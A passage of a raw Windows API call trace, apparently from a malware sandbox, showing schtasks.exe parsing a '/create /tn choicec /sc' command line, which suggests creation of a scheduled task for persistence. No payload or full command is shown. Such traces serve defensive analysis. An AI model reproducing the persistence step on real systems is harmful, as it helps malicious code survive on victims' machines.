(HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x255560 [0063.603] SetLastError (dwErrCode=0x0) [0063.604] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0063.604] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0063.604] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0063.604] VerifyVersionInfoW (in: lpVersionInformation=0xdf240, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdf240) returned 1 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bb20 [0063.604] lstrlenW (lpString="") returned 0 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x2) returned 0x25bb40 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a50 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bb60 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a80 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ab0 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ae0 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b10 [0063.604] GetProcessHeap () returned 0x240000 [0063.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bb80 [0063.604] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b40 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b70 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ba0 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255bd0 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bba0 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c00 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c30 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c60 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c90 [0063.605] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.605] SetLastError (dwErrCode=0x0) [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255cc0 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255cf0 [0063.605] GetProcessHeap () returned 0x240000 [0063.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d20 [0063.606] GetProcessHeap () returned 0x240000 [0063.606] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d50 [0063.606] GetProcessHeap () returned 0x240000 [0063.606] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d80 [0063.606] GetProcessHeap () returned 0x240000 [0063.606] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bbc0 [0063.606] _memicmp (_Buf1=0x25bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.606] GetProcessHeap () returned 0x240000 [0063.606] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x208) returned 0x25bd60 [0063.606] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25bd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0063.606] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0063.609] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0063.609] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0063.611] GetProcessHeap () returned 0x240000 [0063.611] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25c330 [0063.611] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0063.611] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25c330 | out: lpData=0x25c330) returned 1 [0063.612] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0063.612] VerQueryValueW (in: pBlock=0x25c330, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf328, puLen=0xdf390 | out: lplpBuffer=0xdf328*=0x25c6cc, puLen=0xdf390) returned 1 [0063.615] _memicmp (_Buf1=0x25bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.615] _vsnwprintf (in: _Buffer=0x25bd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf308 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0063.615] VerQueryValueW (in: pBlock=0x25c330, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf398, puLen=0xdf388 | out: lplpBuffer=0xdf398*=0x25c4f8, puLen=0xdf388) returned 1 [0063.615] lstrlenW (lpString="schtasks.exe") returned 12 [0063.615] lstrlenW (lpString="schtasks.exe") returned 12 [0063.615] lstrlenW (lpString=".EXE") returned 4 [0063.615] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0063.616] lstrlenW (lpString="schtasks.exe") returned 12 [0063.616] lstrlenW (lpString=".EXE") returned 4 [0063.616] _memicmp (_Buf1=0x25bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.616] lstrlenW (lpString="schtasks") returned 8 [0063.617] GetProcessHeap () returned 0x240000 [0063.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255e70 [0063.617] GetProcessHeap () returned 0x240000 [0063.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc40 [0063.617] GetProcessHeap () returned 0x240000 [0063.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc70 [0063.617] GetProcessHeap () returned 0x240000 [0063.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cca0 [0063.617] GetProcessHeap () returned 0x240000 [0063.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bbe0 [0063.617] _memicmp (_Buf1=0x25bbe0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.617] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa0) returned 0x25c160 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ccd0 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd00 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd30 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bc00 [0063.618] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x200) returned 0x25d410 [0063.618] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0063.618] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257be0 [0063.618] _vsnwprintf (in: _Buffer=0x25c160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf308 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0063.618] GetProcessHeap () returned 0x240000 [0063.618] GetProcessHeap () returned 0x240000 [0063.619] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330) returned 1 [0063.619] GetProcessHeap () returned 0x240000 [0063.619] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c330) returned 0x74e [0063.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330 | out: hHeap=0x240000) returned 1 [0063.619] SetLastError (dwErrCode=0x0) [0063.619] GetThreadLocale () returned 0x409 [0063.619] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="?") returned 1 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="create") returned 6 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="delete") returned 6 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="query") returned 5 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="change") returned 6 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="run") returned 3 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="end") returned 3 [0063.620] GetThreadLocale () returned 0x409 [0063.620] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.620] lstrlenW (lpString="showsid") returned 7 [0063.621] GetThreadLocale () returned 0x409 [0063.621] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.621] SetLastError (dwErrCode=0x0) [0063.621] SetLastError (dwErrCode=0x0) [0063.621] lstrlenW (lpString="/create") returned 7 [0063.621] lstrlenW (lpString="-/") returned 2 [0063.621] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.621] lstrlenW (lpString="?") returned 1 [0063.621] lstrlenW (lpString="?") returned 1 [0063.621] GetProcessHeap () returned 0x240000 [0063.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c210 [0063.621] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.621] GetProcessHeap () returned 0x240000 [0063.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25c330 [0063.621] lstrlenW (lpString="create") returned 6 [0063.621] GetProcessHeap () returned 0x240000 [0063.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c350 [0063.621] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.621] GetProcessHeap () returned 0x240000 [0063.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x14) returned 0x25c370 [0063.621] _vsnwprintf (in: _Buffer=0x25c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|?|") returned 3 [0063.621] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.621] lstrlenW (lpString="|?|") returned 3 [0063.621] lstrlenW (lpString="|create|") returned 8 [0063.621] SetLastError (dwErrCode=0x490) [0063.621] lstrlenW (lpString="create") returned 6 [0063.621] lstrlenW (lpString="create") returned 6 [0063.622] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.622] GetProcessHeap () returned 0x240000 [0063.622] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330) returned 1 [0063.622] GetProcessHeap () returned 0x240000 [0063.622] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25c330, Size=0x14) returned 0x25c390 [0063.622] lstrlenW (lpString="create") returned 6 [0063.622] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.622] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.622] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.622] lstrlenW (lpString="|create|") returned 8 [0063.622] lstrlenW (lpString="|create|") returned 8 [0063.622] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0063.622] SetLastError (dwErrCode=0x0) [0063.622] SetLastError (dwErrCode=0x0) [0063.622] SetLastError (dwErrCode=0x0) [0063.622] lstrlenW (lpString="/tn") returned 3 [0063.622] lstrlenW (lpString="-/") returned 2 [0063.622] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.622] lstrlenW (lpString="?") returned 1 [0063.622] lstrlenW (lpString="?") returned 1 [0063.622] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.622] lstrlenW (lpString="tn") returned 2 [0063.622] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.622] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|?|") returned 3 [0063.622] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.623] lstrlenW (lpString="|?|") returned 3 [0063.623] lstrlenW (lpString="|tn|") returned 4 [0063.623] SetLastError (dwErrCode=0x490) [0063.623] lstrlenW (lpString="create") returned 6 [0063.623] lstrlenW (lpString="create") returned 6 [0063.623] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.623] lstrlenW (lpString="tn") returned 2 [0063.623] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.623] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.623] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.623] lstrlenW (lpString="|create|") returned 8 [0063.623] lstrlenW (lpString="|tn|") returned 4 [0063.623] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0063.623] SetLastError (dwErrCode=0x490) [0063.623] lstrlenW (lpString="delete") returned 6 [0063.623] lstrlenW (lpString="delete") returned 6 [0063.623] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.623] lstrlenW (lpString="tn") returned 2 [0063.623] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.623] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|delete|") returned 8 [0063.623] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.623] lstrlenW (lpString="|delete|") returned 8 [0063.623] lstrlenW (lpString="|tn|") returned 4 [0063.623] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0063.623] SetLastError (dwErrCode=0x490) [0063.624] lstrlenW (lpString="query") returned 5 [0063.624] lstrlenW (lpString="query") returned 5 [0063.624] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.624] lstrlenW (lpString="tn") returned 2 [0063.624] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.624] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|query|") returned 7 [0063.624] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.624] lstrlenW (lpString="|query|") returned 7 [0063.624] lstrlenW (lpString="|tn|") returned 4 [0063.624] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0063.624] SetLastError (dwErrCode=0x490) [0063.624] lstrlenW (lpString="change") returned 6 [0063.624] lstrlenW (lpString="change") returned 6 [0063.624] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.624] lstrlenW (lpString="tn") returned 2 [0063.624] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.624] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|change|") returned 8 [0063.624] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.624] lstrlenW (lpString="|change|") returned 8 [0063.624] lstrlenW (lpString="|tn|") returned 4 [0063.624] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0063.624] SetLastError (dwErrCode=0x490) [0063.624] lstrlenW (lpString="run") returned 3 [0063.624] lstrlenW (lpString="run") returned 3 [0063.625] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.625] lstrlenW (lpString="tn") returned 2 [0063.625] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.625] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|run|") returned 5 [0063.625] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.625] lstrlenW (lpString="|run|") returned 5 [0063.625] lstrlenW (lpString="|tn|") returned 4 [0063.625] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0063.625] SetLastError (dwErrCode=0x490) [0063.625] lstrlenW (lpString="end") returned 3 [0063.625] lstrlenW (lpString="end") returned 3 [0063.625] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.625] lstrlenW (lpString="tn") returned 2 [0063.625] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.625] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|end|") returned 5 [0063.625] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.625] lstrlenW (lpString="|end|") returned 5 [0063.625] lstrlenW (lpString="|tn|") returned 4 [0063.625] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0063.625] SetLastError (dwErrCode=0x490) [0063.625] lstrlenW (lpString="showsid") returned 7 [0063.625] lstrlenW (lpString="showsid") returned 7 [0063.625] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.625] GetProcessHeap () returned 0x240000 [0063.626] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c390) returned 1 [0063.626] GetProcessHeap () returned 0x240000 [0063.626] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25c390, Size=0x16) returned 0x25c390 [0063.626] lstrlenW (lpString="tn") returned 2 [0063.626] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.626] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|showsid|") returned 9 [0063.626] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tn|") returned 4 [0063.626] lstrlenW (lpString="|showsid|") returned 9 [0063.626] lstrlenW (lpString="|tn|") returned 4 [0063.626] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0063.626] SetLastError (dwErrCode=0x490) [0063.626] SetLastError (dwErrCode=0x490) [0063.626] SetLastError (dwErrCode=0x0) [0063.626] lstrlenW (lpString="/tn") returned 3 [0063.626] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0063.626] SetLastError (dwErrCode=0x490) [0063.626] SetLastError (dwErrCode=0x0) [0063.626] lstrlenW (lpString="/tn") returned 3 [0063.626] GetProcessHeap () returned 0x240000 [0063.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c330 [0063.626] GetProcessHeap () returned 0x240000 [0063.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd60 [0063.626] SetLastError (dwErrCode=0x0) [0063.626] SetLastError (dwErrCode=0x0) [0063.626] lstrlenW (lpString="choicec") returned 7 [0063.627] lstrlenW (lpString="-/") returned 2 [0063.627] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0063.627] SetLastError (dwErrCode=0x490) [0063.627] SetLastError (dwErrCode=0x490) [0063.627] SetLastError (dwErrCode=0x0) [0063.627] lstrlenW (lpString="choicec") returned 7 [0063.627] StrChrIW (lpStart="choicec", wMatch=0x3a) returned 0x0 [0063.627] SetLastError (dwErrCode=0x490) [0063.627] SetLastError (dwErrCode=0x0) [0063.627] lstrlenW (lpString="choicec") returned 7 [0063.627] GetProcessHeap () returned 0x240000 [0063.627] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25c3c0 [0063.627] GetProcessHeap () returned 0x240000 [0063.627] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd90 [0063.627] SetLastError (dwErrCode=0x0) [0063.627] SetLastError (dwErrCode=0x0) [0063.627] lstrlenW (lpString="/sc") returned 3 [0063.627] lstrlenW (lpString="-/") returned 2 [0063.627] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.627] lstrlenW (lpString="?") returned 1 [0063.627] lstrlenW (lpString="?") returned 1 [0063.627] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.627] lstrlenW (lpString="sc") returned 2 [0063.627] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.627] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|?|") returned 3 [0063.627] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.627] lstrlenW (lpString="|?|") returned 3 [0063.628] lstrlenW (lpString="|sc|") returned 4 [0063.628] SetLastError (dwErrCode=0x490) [0063.628] lstrlenW (lpString="create") returned 6 [0063.628] lstrlenW (lpString="create") returned 6 [0063.628] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.628] lstrlenW (lpString="sc") returned 2 [0063.628] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.628] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.628] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.628] lstrlenW (lpString="|create|") returned 8 [0063.628] lstrlenW (lpString="|sc|") returned 4 [0063.628] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0063.628] SetLastError (dwErrCode=0x490) [0063.628] lstrlenW (lpString="delete") returned 6 [0063.628] lstrlenW (lpString="delete") returned 6 [0063.628] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.628] lstrlenW (lpString="sc") returned 2 [0063.628] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.628] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|delete|") returned 8 [0063.628] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.628] lstrlenW (lpString="|delete|") returned 8 [0063.628] lstrlenW (lpString="|sc|") returned 4 [0063.628] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0063.628] SetLastError (dwErrCode=0x490) [0063.628] lstrlenW (lpString="query") returned 5 [0063.629] lstrlenW (lpString="query") returned 5 [0063.629] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.629] lstrlenW (lpString="sc") returned 2 [0063.629] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.629] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|query|") returned 7 [0063.629] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.629] lstrlenW (lpString="|query|") returned 7 [0063.629] lstrlenW (lpString="|sc|") returned 4 [0063.629] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0063.629] SetLastError (dwErrCode=0x490) [0063.629] lstrlenW (lpString="change") returned 6 [0063.629] lstrlenW (lpString="change") returned 6 [0063.629] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.629] lstrlenW (lpString="sc") returned 2 [0063.629] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.629] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|change|") returned 8 [0063.629] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.629] lstrlenW (lpString="|change|") returned 8 [0063.629] lstrlenW (lpString="|sc|") returned 4 [0063.629] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0063.629] SetLastError (dwErrCode=0x490) [0063.629] lstrlenW (lpString="run") returned 3 [0063.629] lstrlenW (lpString="run") returned 3 [0063.629] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.630] lstrlenW (lpString="sc") returned 2 [0063.630] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.630] _vsnwprintf (in: _Buffer=0x25c390, 